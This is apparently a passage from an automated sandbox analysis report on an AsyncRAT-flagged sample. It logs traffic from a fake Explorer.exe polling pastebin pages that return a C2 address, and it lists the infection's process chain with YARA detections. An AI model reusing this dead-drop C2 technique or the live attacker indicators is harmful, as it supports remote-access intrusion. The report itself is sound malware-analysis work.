Dec 9, 2024 14:15:31.081731081 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:15:30 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:15:30 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef543ae3ab74252-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50053	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:15:36.528752089 CET	50	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com
Dec 9, 2024 14:15:37.636913061 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:15:37 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:15:37 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef543d72945558a-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Dec 9, 2024 14:15:37.637427092 CET	50	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com
Dec 9, 2024 14:15:38.119513035 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:15:37 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:15:37 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef543da0bbd558a-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50054	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:15:43.261617899 CET	50	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com
Dec 9, 2024 14:15:44.360963106 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:15:44 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:15:44 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef544012ce86a5c-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Dec 9, 2024 14:15:44.362515926 CET	50	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com
Dec 9, 2024 14:15:44.684132099 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:15:44 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:15:44 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef544033f6a6a5c-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50056	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:15:49.812793016 CET	74	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:15:50.940239906 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:15:50 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:15:50 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef5442a5b8bde96-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Dec 9, 2024 14:15:50.940969944 CET	50	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com
Dec 9, 2024 14:15:51.260962009 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:15:51 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:15:51 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef5442c58f4de96-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50057	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:15:56.391242981 CET	74	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:15:57.489962101 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:15:57 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:15:57 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef544534c1742c3-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Dec 9, 2024 14:15:57.495171070 CET	50	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com
Dec 9, 2024 14:15:57.819231987 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:15:57 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:15:57 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef544555ef042c3-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	172.67.19.24	443	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:12:11 UTC	74	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-12-09 13:12:12 UTC	391	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:12:12 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Mon, 09 Dec 2024 13:12:12 GMT Server: cloudflare CF-RAY: 8ef53ed33b2b43b5-EWR
2024-12-09 13:12:12 UTC	20	IN	Data Raw: 66 0d 0a 31 39 34 2e 36 37 2e 32 30 34 2e 37 3a 38 38 0d 0a Data Ascii: f194.67.204.7:88
2024-12-09 13:12:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49769	172.67.19.24	443	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:12:43 UTC	74	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-12-09 13:12:43 UTC	391	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:12:43 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Mon, 09 Dec 2024 13:12:43 GMT Server: cloudflare CF-RAY: 8ef53f978908423a-EWR
2024-12-09 13:12:43 UTC	8	IN	Data Raw: 33 0d 0a 30 3a 30 0d 0a Data Ascii: 30:0
2024-12-09 13:12:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49795	172.67.19.24	443	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:12:52 UTC	50	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com
2024-12-09 13:12:53 UTC	395	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:12:52 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 9 Last-Modified: Mon, 09 Dec 2024 13:12:43 GMT Server: cloudflare CF-RAY: 8ef53fd249944402-EWR
2024-12-09 13:12:53 UTC	8	IN	Data Raw: 33 0d 0a 30 3a 30 0d 0a Data Ascii: 30:0
2024-12-09 13:12:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49819	172.67.19.24	443	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:13:01 UTC	50	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com
2024-12-09 13:13:02 UTC	396	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:13:02 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 19 Last-Modified: Mon, 09 Dec 2024 13:12:43 GMT Server: cloudflare CF-RAY: 8ef5400bbd2bc439-EWR
2024-12-09 13:13:02 UTC	8	IN	Data Raw: 33 0d 0a 30 3a 30 0d 0a Data Ascii: 30:0
2024-12-09 13:13:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49844	172.67.19.24	443	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:13:11 UTC	50	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com
2024-12-09 13:13:11 UTC	396	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:13:11 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 28 Last-Modified: Mon, 09 Dec 2024 13:12:43 GMT Server: cloudflare CF-RAY: 8ef540458cac8cdc-EWR
2024-12-09 13:13:11 UTC	8	IN	Data Raw: 33 0d 0a 30 3a 30 0d 0a Data Ascii: 30:0
2024-12-09 13:13:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49869	172.67.19.24	443	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:13:20 UTC	50	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com
2024-12-09 13:13:20 UTC	396	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:13:20 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 37 Last-Modified: Mon, 09 Dec 2024 13:12:43 GMT Server: cloudflare CF-RAY: 8ef5407ecc2bc32d-EWR
2024-12-09 13:13:20 UTC	8	IN	Data Raw: 33 0d 0a 30 3a 30 0d 0a Data Ascii: 30:0
2024-12-09 13:13:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49894	172.67.19.24	443	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:13:29 UTC	50	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com
2024-12-09 13:13:29 UTC	396	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:13:29 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 46 Last-Modified: Mon, 09 Dec 2024 13:12:43 GMT Server: cloudflare CF-RAY: 8ef540b8092f0f78-EWR
2024-12-09 13:13:29 UTC	8	IN	Data Raw: 33 0d 0a 30 3a 30 0d 0a Data Ascii: 30:0
2024-12-09 13:13:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49919	172.67.19.24	443	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:13:38 UTC	50	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com
2024-12-09 13:13:38 UTC	396	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:13:38 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 55 Last-Modified: Mon, 09 Dec 2024 13:12:43 GMT Server: cloudflare CF-RAY: 8ef540f16b119e16-EWR
2024-12-09 13:13:38 UTC	8	IN	Data Raw: 33 0d 0a 30 3a 30 0d 0a Data Ascii: 30:0
2024-12-09 13:13:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49942	172.67.19.24	443	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:13:48 UTC	50	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com
2024-12-09 13:13:48 UTC	396	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:13:48 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 65 Last-Modified: Mon, 09 Dec 2024 13:12:43 GMT Server: cloudflare CF-RAY: 8ef5412ced860f70-EWR
2024-12-09 13:13:48 UTC	8	IN	Data Raw: 33 0d 0a 30 3a 30 0d 0a Data Ascii: 30:0
2024-12-09 13:13:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49968	172.67.19.24	443	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:13:57 UTC	50	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com
2024-12-09 13:13:57 UTC	396	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:13:57 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 74 Last-Modified: Mon, 09 Dec 2024 13:12:43 GMT Server: cloudflare CF-RAY: 8ef54166fb16421c-EWR
2024-12-09 13:13:57 UTC	8	IN	Data Raw: 33 0d 0a 30 3a 30 0d 0a Data Ascii: 30:0
2024-12-09 13:13:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49994	172.67.19.24	443	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:14:06 UTC	50	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com
2024-12-09 13:14:06 UTC	396	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:14:06 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 83 Last-Modified: Mon, 09 Dec 2024 13:12:43 GMT Server: cloudflare CF-RAY: 8ef541a0090d185d-EWR
2024-12-09 13:14:06 UTC	8	IN	Data Raw: 33 0d 0a 30 3a 30 0d 0a Data Ascii: 30:0
2024-12-09 13:14:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	08:11:54
Start date:	09/12/2024
Path:	C:\Users\user\Desktop\rrats.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\rrats.exe"
Imagebase:	0xca0000
File size:	506'223 bytes
MD5 hash:	A2BDB024C98B7E8D3D06FC86E110D204
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:11:55
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\a.bat" "
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:11:55
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:11:55
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe
Wow64 process (32bit):	true
Commandline:	a.exe -p1234
Imagebase:	0xe80000
File size:	308'705 bytes
MD5 hash:	7107F3FB53F9F3EAF3B95FD857F7AEE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 17%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:11:56
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe"
Imagebase:	0x200000
File size:	67'584 bytes
MD5 hash:	3D91C31A52BE4E262F7F18272294ED99
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, Author: ditekSHen Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000005.00000002.2089096502.0000000002571000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000005.00000002.2089096502.0000000002571000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe, Author: Joe Security Rule: 